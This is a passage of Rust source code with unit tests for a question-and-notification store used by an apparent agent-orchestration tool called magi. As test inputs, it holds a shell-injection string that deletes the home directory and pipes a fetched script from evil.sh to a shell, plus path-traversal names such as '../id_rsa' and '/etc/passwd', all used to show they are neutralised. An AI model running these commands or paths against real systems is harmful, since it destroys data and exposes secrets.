1757        bail!(
1758            "notification command `{program}` exited with {}: {why}",
1759            out.status
1760        );
1761    }
1762    Ok(())
1763}
1764
1765/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1766///
1767/// One left-to-right pass, so a substituted value is never scanned for further
1768/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1769/// in a question must not make the notification recursive.
1770fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1771    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1772    let mut out = String::with_capacity(template.len());
1773    let mut rest = template;
1774    while let Some(at) = rest.find('{') {
1775        out.push_str(&rest[..at]);
1776        let tail = &rest[at..];
1777        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1778            Some((token, value)) => {
1779                out.push_str(value);
1780                rest = &tail[token.len()..];
1781            }
1782            None => {
1783                // Not a placeholder magi knows: it is the operator's own text.
1784                out.push('{');
1785                rest = &tail[1..];
1786            }
1787        }
1788    }
1789    out.push_str(rest);
1790    out
1791}
1792
1793/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1794fn web_url() -> String {
1795    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1796}
1797
1798/// Point a configured base URL at the view that can answer the question.
1799///
1800/// A notification the operator has to navigate from is a question that stays
1801/// unanswered until morning, so the questions view is appended - unless the
1802/// operator already wrote a fragment, in which case they have said where they
1803/// want to land and magi does not know better.
1804fn question_url(base: &str) -> String {
1805    let base = base.trim().trim_end_matches('/');
1806    if base.is_empty() || base.contains('#') {
1807        return base.to_owned();
1808    }
1809    format!("{base}/#/questions")
1810}
1811
1812/// Assemble a panel's contents in an already-empty directory.
1813///
1814/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1815/// first error without an early `return` skipping that cleanup.
1816fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1817    let index = dir.join(PANEL_HTML);
1818    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1819    for (name, src) in assets {
1820        let dst = dir.join(name);
1821        std::fs::copy(src, &dst)
1822            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1823    }
1824    Ok(())
1825}
1826
1827/// Remove a directory and everything under it, treating "not there" as done.
1828///
1829/// A panel is replaced wholesale and dropped idempotently, and in both cases
1830/// the absence of the directory is the desired end state, not an error.
1831fn clear_dir(path: &Path) -> Result<()> {
1832    match std::fs::remove_dir_all(path) {
1833        Ok(()) => Ok(()),
1834        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1835        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1836    }
1837}
1838
1839fn read_path(path: &Path) -> Result<Question> {
1840    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1841    let q: Question =
1842        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1843    if q.schema > SCHEMA {
1844        // Strictly newer, not merely different: every field added since
1845        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1846        // here as "no thread yet" rather than as garbage. Only a schema this
1847        // build has never heard of is refused.
1848        bail!(
1849            "question {} was written by a newer magi (schema {}, this build \
1850             only speaks up to {SCHEMA})",
1851            q.id,
1852            q.schema
1853        );
1854    }
1855    Ok(q)
1856}
1857
1858/// [`short`] for callers outside this module (a run id shortens the same way).
1859pub fn short_id(id: &str) -> &str {
1860    short(id)
1861}
1862
1863fn short(id: &str) -> &str {
1864    id.split('-').next_back().unwrap_or(id)
1865}
1866
1867fn new_id() -> String {
1868    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1869    let seed = crate::rng::entropy();
1870    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1871}
1872
1873#[cfg(test)]
1874mod tests {
1875    use super::*;
1876
1877    /// A store of its own, with no process-global state - which is the point of
1878    /// `Questions::at`, and why these can run in parallel.
1879    fn store() -> (tempfile::TempDir, Questions) {
1880        let dir = tempfile::tempdir().unwrap();
1881        let s = Questions::at(dir.path().join("questions"));
1882        (dir, s)
1883    }
1884
1885    #[test]
1886    fn deleting_a_run_stops_its_questions_asking() {
1887        let (_dir, store) = store();
1888
1889        let mut open_one = choice_question();
1890        store.put(&mut open_one).unwrap();
1891        let mut answered = free_question();
1892        answered
1893            .answer(Answer::Text("keep this".to_owned()))
1894            .unwrap();
1895        store.put(&mut answered).unwrap();
1896        let mut elsewhere = choice_question();
1897        elsewhere.run = "20260903-105039-3cbf".to_owned();
1898        store.put(&mut elsewhere).unwrap();
1899
1900        let n = store
1901            .abandon_for_run(&open_one.run, "run was deleted")
1902            .unwrap();
1903        assert_eq!(n, 1, "only the open question of that run");
1904
1905        let back = store.get(&open_one.id).unwrap();
1906        assert!(!back.status.open(), "it no longer asks for a decision");
1907        assert!(
1908            back.detail.contains("run was deleted"),
1909            "the operator can see why: {}",
1910            back.detail
1911        );
1912
1913        let kept = store.get(&answered.id).unwrap();
1914        assert_eq!(
1915            kept.status,
1916            QuestionStatus::Answered,
1917            "an answered question is a decision on record, not something to revoke"
1918        );
1919        assert!(
1920            store.get(&elsewhere.id).unwrap().status.open(),
1921            "another run's question is untouched"
1922        );
1923        assert!(store.open_for(&open_one.run).is_empty());
1924    }
1925
1926    #[test]
1927    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1928        let (_dir, store) = store();
1929        let mut q = choice_question();
1930        store.put(&mut q).unwrap();
1931
1932        // `Blocked` can still be resumed - leave it exactly as it was.
1933        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1934        assert_eq!(n, 0);
1935        assert!(store.get(&q.id).unwrap().status.open());
1936
1937        // `Failed` is not - abandon it, with the run and its fate in the
1938        // reason so the owner can tell what happened without a run to read.
1939        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1940        assert_eq!(n, 1);
1941        let back = store.get(&q.id).unwrap();
1942        assert!(!back.status.open());
1943        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1944
1945        // A second call against the same, now-settled run finds nothing left.
1946        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1947    }
1948
1949    fn choice_question() -> Question {
1950        Question::new(
1951            "20260902-201256-9fb7".to_owned(),
1952            "implement".to_owned(),
1953            "impl-A".to_owned(),
1954            "Which storage backend should the cache use?".to_owned(),
1955            "Both are already dependencies.".to_owned(),
1956            vec!["SQLite".to_owned(), "Redis".to_owned()],
1957        )
1958    }
1959
1960    fn free_question() -> Question {
1961        Question::new(
1962            "20260902-201256-9fb7".to_owned(),
1963            "review".to_owned(),
1964            "rev-1".to_owned(),
1965            "What should the error message say?".to_owned(),
1966            String::new(),
1967            Vec::new(),
1968        )
1969    }
1970
1971    /// No notification, which is the default and what most of these want.
1972    fn quiet() -> config::Notify {
1973        config::Notify::default()
1974    }
1975
1976    #[test]
1977    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1978        // The front end parses these names by hand; there is no shared schema
1979        // and no compiler between the two. A rename here is a UI that shows an
1980        // empty card and reports no error, so the names are asserted literally.
1981        let mut q = choice_question();
1982        q.id = "20260902-231501-ab12".to_owned();
1983        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1984        // `serde_json::Value` holds an object's keys sorted, and key order
1985        // means nothing to a JSON reader anyway: the field *set* is what the
1986        // front end was written against, so that is what is pinned here.
1987        let keys: Vec<&str> = open
1988            .as_object()
1989            .unwrap()
1990            .keys()
1991            .map(String::as_str)
1992            .collect();
1993        assert_eq!(
1994            keys,
1995            [
1996                "actions",
1997                "answer",
1998                "answer_delivered",
1999                "answer_timeout",
2000                "answered_at",
2001                "asked_at",
2002                "assets",
2003                "choices",
2004                "cwd",
2005                "delivered_turns",
2006                "deputy",
2007                "detail",
2008                "id",
2009                "node",
2010                "panel",
2011                "run",
2012                "schema",
2013                "seat",
2014                "status",
2015                "summary",
2016                "thread",
2017                "waiter",
2018            ],
2019            "the on-disk field set is a contract with the front end"
2020        );
2021        assert_eq!(open["schema"], 5);
2022        assert_eq!(open["thread"], serde_json::json!([]));
2023        assert_eq!(open["id"], "20260902-231501-ab12");
2024        assert_eq!(open["run"], "20260902-201256-9fb7");
2025        assert_eq!(open["node"], "implement");
2026        assert_eq!(open["seat"], "impl-A");
2027        assert_eq!(open["status"], "open");
2028        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2029        assert_eq!(open["answered_at"], serde_json::Value::Null);
2030        assert_eq!(open["answer"], serde_json::Value::Null);
2031        let asked = open["asked_at"].as_str().unwrap();
2032        assert!(
2033            asked.ends_with('Z') && asked.contains('T'),
2034            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2035        );
2036
2037        // A chosen option, exactly as the contract spells it.
2038        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2039        let answered = serde_json::to_value(&q).unwrap();
2040        assert_eq!(answered["status"], "answered");
2041        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2042        assert!(answered["answered_at"].is_string());
2043
2044        // And free text, which is the other of the two forms.
2045        let mut free = free_question();
2046        free.answer(Answer::Text("Say which file it was".to_owned()))
2047            .unwrap();
2048        assert_eq!(
2049            serde_json::to_value(&free).unwrap()["answer"],
2050            serde_json::json!({"text": "Say which file it was"})
2051        );
2052
2053        // And it survives the round trip a reader actually performs.
2054        let body = serde_json::to_string(&q).unwrap();
2055        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2056    }
2057
2058    #[test]
2059    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2060        // Four different mistakes, four different fixes: the web handler shows
2061        // these strings to the person who made them.
2062        let mut unoffered = choice_question();
2063        let a = unoffered
2064            .answer(Answer::Choice("Postgres".to_owned()))
2065            .unwrap_err()
2066            .to_string();
2067
2068        let mut typed = choice_question();
2069        let b = typed
2070            .answer(Answer::Text("use Postgres".to_owned()))
2071            .unwrap_err()
2072            .to_string();
2073
2074        let mut blank = free_question();
2075        let c = blank
2076            .answer(Answer::Text("   \n".to_owned()))
2077            .unwrap_err()
2078            .to_string();
2079
2080        let mut twice = choice_question();
2081        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2082        let d = twice
2083            .answer(Answer::Choice("Redis".to_owned()))
2084            .unwrap_err()
2085            .to_string();
2086
2087        assert!(a.contains("not one of the choices"), "{a}");
2088        assert!(b.contains("multiple choice"), "{b}");
2089        assert!(c.contains("empty"), "{c}");
2090        assert!(d.contains("already answered"), "{d}");
2091        let mut distinct = vec![a, b, c, d];
2092        let asked = distinct.len();
2093        distinct.sort_unstable();
2094        distinct.dedup();
2095        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2096
2097        // The refused ones are still open, so the owner can answer properly.
2098        assert_eq!(unoffered.status, QuestionStatus::Open);
2099        assert_eq!(typed.status, QuestionStatus::Open);
2100        assert_eq!(blank.status, QuestionStatus::Open);
2101        // And the first answer to the double-answered one survived.
2102        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2103
2104        // Free text refuses a fabricated choice for the mirror-image reason.
2105        let mut free = free_question();
2106        let e = free
2107            .answer(Answer::Choice("SQLite".to_owned()))
2108            .unwrap_err()
2109            .to_string();
2110        assert!(e.contains("free text"), "{e}");
2111    }
2112
2113    #[test]
2114    fn open_questions_are_listed_before_answered_ones() {
2115        let (_dir, s) = store();
2116        // Ids carry a timestamp, so force a known order: the answered one is
2117        // the newest, and must still sort below the open ones.
2118        let mut old_open = choice_question();
2119        old_open.id = "20260101-000001-aaaa".to_owned();
2120        let mut new_open = choice_question();
2121        new_open.id = "20260101-000002-bbbb".to_owned();
2122        let mut answered = choice_question();
2123        answered.id = "20260101-000003-cccc".to_owned();
2124        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2125        for q in [&mut old_open, &mut new_open, &mut answered] {
2126            s.put(q).unwrap();
2127        }
2128
2129        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2130        assert_eq!(
2131            ids,
2132            [
2133                "20260101-000002-bbbb",
2134                "20260101-000001-aaaa",
2135                "20260101-000003-cccc"
2136            ],
2137            "what has stopped work comes first; history sorts underneath"
2138        );
2139        assert_eq!(s.count_open(), 2);
2140        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2141        assert!(s.open_for("some-other-run").is_empty());
2142        // The short id is what the phone and the reports show.
2143        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2144        assert!(s.get("20260101-000002-bbbb").is_ok());
2145        assert!(s.resolve_id("nope").is_err());
2146        assert!(
2147            s.revision() > 0,
2148            "the store's mtime drives the phone's polling"
2149        );
2150    }
2151
2152    #[test]
2153    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2154        let (_dir, s) = store();
2155        let mut good = choice_question();
2156        s.put(&mut good).unwrap();
2157        // Truncated by a killed writer, and written by a magi from the future.
2158        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2159        let future = serde_json::json!({
2160            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2161            "seat": "s", "summary": "?", "detail": "", "choices": [],
2162            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2163            "answered_at": null, "answer": null,
2164        });
2165        std::fs::write(
2166            s.path_of("20260101-000010-beef"),
2167            serde_json::to_string(&future).unwrap(),
2168        )
2169        .unwrap();
2170
2171        let listed = s.list();
2172        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2173        assert_eq!(listed[0].id, good.id);
2174        // Asked for by name, the unreadable one explains itself instead.
2175        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2176        assert!(e.contains("schema"), "{e}");
2177    }
2178
2179    #[tokio::test]
2180    async fn the_wait_returns_the_answer_another_process_wrote() {
2181        // The phone, `magi answer` and this run are three processes with no
2182        // channel between them: the file is the channel, so the wait has to see
2183        // a write it did not make. Sub-second timings keep this a real wait
2184        // without a real one's duration.
2185        let (dir, s) = store();
2186        let mut q = choice_question();
2187        let id = q.id.clone();
2188        let writer = Questions::at(dir.path().join("questions"));
2189        let handle = tokio::spawn(async move {
2190            tokio::time::sleep(Duration::from_millis(30)).await;
2191            let mut fresh = writer.get(&id).expect("the question was filed first");
2192            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2193            writer.put(&mut fresh).unwrap();
2194        });
2195
2196        let got = wait_for_owner(
2197            &mut q,
2198            &s,
2199            &quiet(),
2200            Duration::from_secs(5),
2201            Duration::from_millis(10),
2202        )
2203        .await
2204        .unwrap();
2205
2206        handle.await.unwrap();
2207        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2208        assert_eq!(
2209            q.status,
2210            QuestionStatus::Answered,
2211            "the caller's copy is refreshed from the answering process's record"
2212        );
2213        assert!(q.answered_at.is_some());
2214    }
2215
2216    #[tokio::test]
2217    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2218        let (_dir, s) = store();
2219        let mut q = choice_question();
2220
2221        let got = wait_for_owner(
2222            &mut q,
2223            &s,
2224            &quiet(),
2225            Duration::from_millis(60),
2226            Duration::from_millis(10),
2227        )
2228        .await
2229        .unwrap();
2230
2231        assert_eq!(
2232            got,
2233            Wait::Abandoned,
2234            "a slow human is not an error; the run parks"
2235        );
2236        assert_eq!(q.status, QuestionStatus::Abandoned);
2237        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2238        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2239        assert!(
2240            on_disk.detail.contains("Abandoned:"),
2241            "why nobody answered belongs with the question: {}",
2242            on_disk.detail
2243        );
2244        assert!(on_disk.resolution().is_none());
2245        assert_eq!(s.count_open(), 0);
2246    }
2247
2248    #[tokio::test]
2249    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2250        // This is the whole point of slicing: `timeout` (the real
2251        // `answer_timeout` budget) is far larger than `slice`, so the loop
2252        // must land on `slice` first and hand back `Pending` - not read the
2253        // silence so far as the owner having given up.
2254        let (_dir, s) = store();
2255        let mut q = choice_question();
2256        s.put(&mut q).unwrap();
2257
2258        let got = wait_loop(
2259            &mut q,
2260            &s,
2261            Duration::from_secs(3600),
2262            Duration::from_millis(30),
2263            Duration::from_millis(10),
2264        )
2265        .await
2266        .unwrap();
2267
2268        assert_eq!(
2269            got,
2270            Wait::Pending,
2271            "the clock on this call ran out, not the owner's patience"
2272        );
2273        assert_eq!(
2274            q.status,
2275            QuestionStatus::Open,
2276            "a slice expiring must never abandon the question"
2277        );
2278        let on_disk = s.get(&q.id).expect("still on disk, still open");
2279        assert_eq!(
2280            on_disk.status,
2281            QuestionStatus::Open,
2282            "nothing about the record changed just because this call gave up"
2283        );
2284    }
2285
2286    #[tokio::test]
2287    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2288        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2289        // and returns `Pending`, a second slice - a fresh call, exactly as a
2290        // fresh process would make - picks the same question back up and
2291        // sees an answer written in between.
2292        let (dir, s) = store();
2293        let mut q = choice_question();
2294        s.put(&mut q).unwrap();
2295
2296        let first = wait_loop(
2297            &mut q,
2298            &s,
2299            Duration::from_secs(3600),
2300            Duration::from_millis(30),
2301            Duration::from_millis(10),
2302        )
2303        .await
2304        .unwrap();
2305        assert_eq!(first, Wait::Pending);
2306
2307        let id = q.id.clone();
2308        let writer = Questions::at(dir.path().join("questions"));
2309        let mut fresh = writer.get(&id).unwrap();
2310        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2311        writer.put(&mut fresh).unwrap();
2312
2313        // `resume_wait` uses its own production poll interval rather than a
2314        // test-injected one, so the budget here only needs to be large enough
2315        // to cover one real poll tick - the point is that it is `resume_wait`
2316        // itself, not a helper, that finds the answer.
2317        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2318            .await
2319            .unwrap();
2320        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2321        assert_eq!(q.status, QuestionStatus::Answered);
2322    }
2323
2324    #[tokio::test]
2325    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2326        // The owner can speak back while nothing is running at all - between
2327        // one call reporting `Wait::Pending` and the next `--wait` picking
2328        // the question back up - and whoever resumes the wait loads a
2329        // *fresh* copy of the question off disk, one whose thread already
2330        // contains that reply. A baseline taken from that fresh copy would
2331        // treat the reply as pre-existing and never notice it "arrive",
2332        // leaving the agent polling in silence until `answer_timeout`
2333        // eventually abandons the question - replacing the exact accident
2334        // this feature exists to fix with a quieter version of itself.
2335        let (dir, s) = store();
2336        let mut q = choice_question();
2337        s.put(&mut q).unwrap();
2338
2339        let first = wait_loop(
2340            &mut q,
2341            &s,
2342            Duration::from_secs(3600),
2343            Duration::from_millis(30),
2344            Duration::from_millis(10),
2345        )
2346        .await
2347        .unwrap();
2348        assert_eq!(first, Wait::Pending);
2349
2350        // The owner speaks back during the gap, with nobody running yet.
2351        let id = q.id.clone();
2352        let writer = Questions::at(dir.path().join("questions"));
2353        let mut fresh = writer.get(&id).unwrap();
2354        fresh.say("why not Postgres?").unwrap();
2355        writer.put(&mut fresh).unwrap();
2356
2357        // `magi ask --wait` re-reads the question rather than reusing the
2358        // stale in-memory copy the earlier call held - so the copy handed to
2359        // `resume_wait` here already carries the reply, same as `fresh` above.
2360        let mut resumed = s.get(&id).unwrap();
2361        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2362            .await
2363            .unwrap();
2364        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2365        assert_eq!(
2366            resumed.status,
2367            QuestionStatus::Open,
2368            "talking back is not a decision; the question stays open"
2369        );
2370    }
2371
2372    #[tokio::test]
2373    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2374        // A broken webhook must not throw away an implementation, so the wait
2375        // reports the failure and carries on. `notify` itself still says what
2376        // went wrong, because `magi notify --test` has to be able to show it.
2377        let (dir, s) = store();
2378        let broken = config::Notify {
2379            command: vec![
2380                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2381                "{summary}".to_owned(),
2382            ],
2383        };
2384        let mut q = choice_question();
2385        assert!(
2386            notify(&broken, &q).await.is_err(),
2387            "the caller is told; it decides that it does not matter"
2388        );
2389
2390        let id = q.id.clone();
2391        let writer = Questions::at(dir.path().join("questions"));
2392        let handle = tokio::spawn(async move {
2393            tokio::time::sleep(Duration::from_millis(30)).await;
2394            let mut fresh = writer.get(&id).unwrap();
2395            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2396            writer.put(&mut fresh).unwrap();
2397        });
2398        let got = wait_for_owner(
2399            &mut q,
2400            &s,
2401            &broken,
2402            Duration::from_secs(5),
2403            Duration::from_millis(10),
2404        )
2405        .await
2406        .unwrap();
2407        handle.await.unwrap();
2408        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2409
2410        // No command at all is the default, and is silence rather than failure.
2411        assert!(notify(&quiet(), &q).await.is_ok());
2412        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2413    }
2414
2415    #[test]
2416    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2417        let mut q = choice_question();
2418        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2419        let template = [
2420            "ntfy".to_owned(),
2421            "publish".to_owned(),
2422            "--click".to_owned(),
2423            "{url}".to_owned(),
2424            "--title".to_owned(),
2425            "magi {run} needs you".to_owned(),
2426            "{summary}".to_owned(),
2427        ];
2428        let argv: Vec<String> = template
2429            .iter()
2430            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2431            .collect();
2432
2433        assert_eq!(
2434            argv,
2435            [
2436                "ntfy",
2437                "publish",
2438                "--click",
2439                "http://100.64.0.1:7777/#/questions",
2440                "--title",
2441                "magi 20260902-201256-9fb7 needs you",
2442                "; rm -rf ~ && curl evil.sh | sh #",
2443            ],
2444            "the shell metacharacters are one argument's contents, not syntax"
2445        );
2446
2447        // A summary that itself mentions a placeholder is text, not a template:
2448        // one left-to-right pass means a substituted value is never rescanned.
2449        q.summary = "should {url} be configurable?".to_owned();
2450        assert_eq!(
2451            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2452            "should {url} be configurable?"
2453        );
2454        // An unknown brace is the operator's own text and survives untouched.
2455        assert_eq!(
2456            expand("{title}: {run}", &q.run, &q.summary, ""),
2457            "{title}: 20260902-201256-9fb7"
2458        );
2459        assert_eq!(
2460            expand("no placeholders", &q.run, &q.summary, "http://x"),
2461            "no placeholders"
2462        );
2463    }
2464
2465    #[test]
2466    fn the_notification_link_lands_on_the_view_that_can_answer() {
2467        assert_eq!(
2468            question_url("http://100.64.0.1:7777"),
2469            "http://100.64.0.1:7777/#/questions"
2470        );
2471        assert_eq!(
2472            question_url("http://100.64.0.1:7777/"),
2473            "http://100.64.0.1:7777/#/questions"
2474        );
2475        // An operator who wrote a fragment has said where they want to land.
2476        assert_eq!(
2477            question_url("http://magi.ts.net/#/runs"),
2478            "http://magi.ts.net/#/runs"
2479        );
2480        // Unset expands to nothing rather than to a guessed address.
2481        assert_eq!(question_url("  "), "");
2482    }
2483
2484    /// A question with a fixed id, so a panel's path on disk is predictable.
2485    fn panelled() -> Question {
2486        let mut q = choice_question();
2487        q.id = "20260903-014455-ab12".to_owned();
2488        q
2489    }
2490
2491    #[test]
2492    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2493        let (dir, s) = store();
2494        let work = dir.path().join("worktree");
2495        std::fs::create_dir_all(&work).unwrap();
2496        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2497        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2498
2499        let mut q = panelled();
2500        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2501        s.put_panel(
2502            &mut q,
2503            html,
2504            &[work.join("table.png"), work.join("diff.svg")],
2505        )
2506        .unwrap();
2507        s.put(&mut q).unwrap();
2508
2509        assert!(q.panel);
2510        assert_eq!(
2511            q.assets,
2512            ["diff.svg", "table.png"],
2513            "sorted, not in the order the agent happened to pass them"
2514        );
2515        assert_eq!(
2516            s.panel_html(&q.id).as_deref(),
2517            Some(html),
2518            "the html is stored byte for byte; the agent authored the markup"
2519        );
2520        assert_eq!(
2521            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2522            Some(&b"<svg/>"[..])
2523        );
2524
2525        // The record on disk carries the same two fields the front end reads.
2526        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2527        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2528        assert_eq!(json["panel"], true);
2529        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2530        let back = s.get(&q.id).unwrap();
2531        assert!(back.panel);
2532        assert_eq!(back.assets, q.assets);
2533
2534        // The assets were copied, so the panel still renders after `magi fold`
2535        // has deleted the candidate worktree the agent authored it in.
2536        std::fs::remove_dir_all(&work).unwrap();
2537        assert_eq!(
2538            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2539            Some(&b"\x89PNG"[..]),
2540            "a referenced asset would be gone with the worktree"
2541        );
2542    }
2543
2544    #[test]
2545    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2546        let (dir, s) = store();
2547        let mut q = panelled();
2548        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2549        s.put(&mut q).unwrap();
2550
2551        // A file exactly one level up from the panel directory - which is
2552        // where `..` lands - holding content a read would make visible.
2553        let secret = "this must never reach the browser";
2554        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2555        assert_eq!(
2556            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2557            secret,
2558            "the traversal is real: the operating system resolves this path \
2559             happily, which is why the name has to be refused before the join"
2560        );
2561
2562        let long = "x".repeat(200);
2563        for name in [
2564            "..",
2565            "../id_rsa",
2566            "..\\id_rsa",
2567            "sub/../id_rsa",
2568            "/",
2569            "\\",
2570            "/etc/passwd",
2571            "C:\\Windows\\win.ini",
2572            "",
2573            ".hidden",
2574            ".",
2575            long.as_str(),
2576        ] {
2577            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2578            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2579            assert!(
2580                e.contains("not a panel file name"),
2581                "`{name}` must be refused as a name, not attempted: {e}"
2582            );
2583            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2584        }
2585        // A name that is allowed still finds its file, so the refusals above
2586        // were the rule at work and not a store that reads nothing.
2587        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2588
2589        // The same rule on the write side, where the name comes from a source
2590        // file's base name, and a refusal leaves the stored panel untouched.
2591        let hidden = dir.path().join(".hidden");
2592        std::fs::write(&hidden, "x").unwrap();
2593        let e = s
2594            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2595            .unwrap_err()
2596            .to_string();
2597        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2598        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2599        assert!(q.assets.is_empty());
2600    }
2601
2602    #[test]
2603    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2604        let (dir, s) = store();
2605        let mut q = panelled();
2606        s.put(&mut q).unwrap();
2607
2608        // Sized rather than filled: the cap reads the file's length, and a
2609        // test that actually produced eight mebibytes would only be slower.
2610        let big = dir.path().join("recording.png");
2611        std::fs::File::create(&big)
2612            .unwrap()
2613            .set_len(PANEL_MAX_BYTES)
2614            .unwrap();
2615
2616        let html = "<p>see the recording</p>";
2617        let total = PANEL_MAX_BYTES + html.len() as u64;
2618        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2619        assert!(
2620            e.contains(&PANEL_MAX_BYTES.to_string()),
2621            "the cap is named so the agent knows the limit: {e}"
2622        );
2623        assert!(
2624            e.contains(&total.to_string()),
2625            "the actual size is named so the agent knows by how much: {e}"
2626        );
2627
2628        assert!(!q.panel);
2629        assert!(q.assets.is_empty());
2630        let left: Vec<String> = std::fs::read_dir(s.root())
2631            .unwrap()
2632            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2633            .collect();
2634        assert_eq!(
2635            left,
2636            [format!("{}.json", q.id)],
2637            "a refused panel leaves neither a directory nor scratch: {left:?}"
2638        );
2639    }
2640
2641    #[test]
2642    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2643        let (dir, s) = store();
2644        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2645        std::fs::create_dir_all(&before).unwrap();
2646        std::fs::create_dir_all(&after).unwrap();
2647        std::fs::write(before.join("diff.png"), "before").unwrap();
2648        std::fs::write(after.join("diff.png"), "after").unwrap();
2649
2650        let mut q = panelled();
2651        let e = s
2652            .put_panel(
2653                &mut q,
2654                "<p>x</p>",
2655                &[before.join("diff.png"), after.join("diff.png")],
2656            )
2657            .unwrap_err()
2658            .to_string();
2659        assert!(e.contains("diff.png"), "{e}");
2660        assert!(
2661            e.contains("before") && e.contains("after"),
2662            "both sources are named, because the fix is to rename one: {e}"
2663        );
2664        assert!(!q.panel);
2665        assert!(!s.panel_dir(&q.id).exists());
2666    }
2667
2668    #[test]
2669    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2670        let (dir, s) = store();
2671        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2672        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2673
2674        let mut q = panelled();
2675        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2676            .unwrap();
2677        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2678            .unwrap();
2679
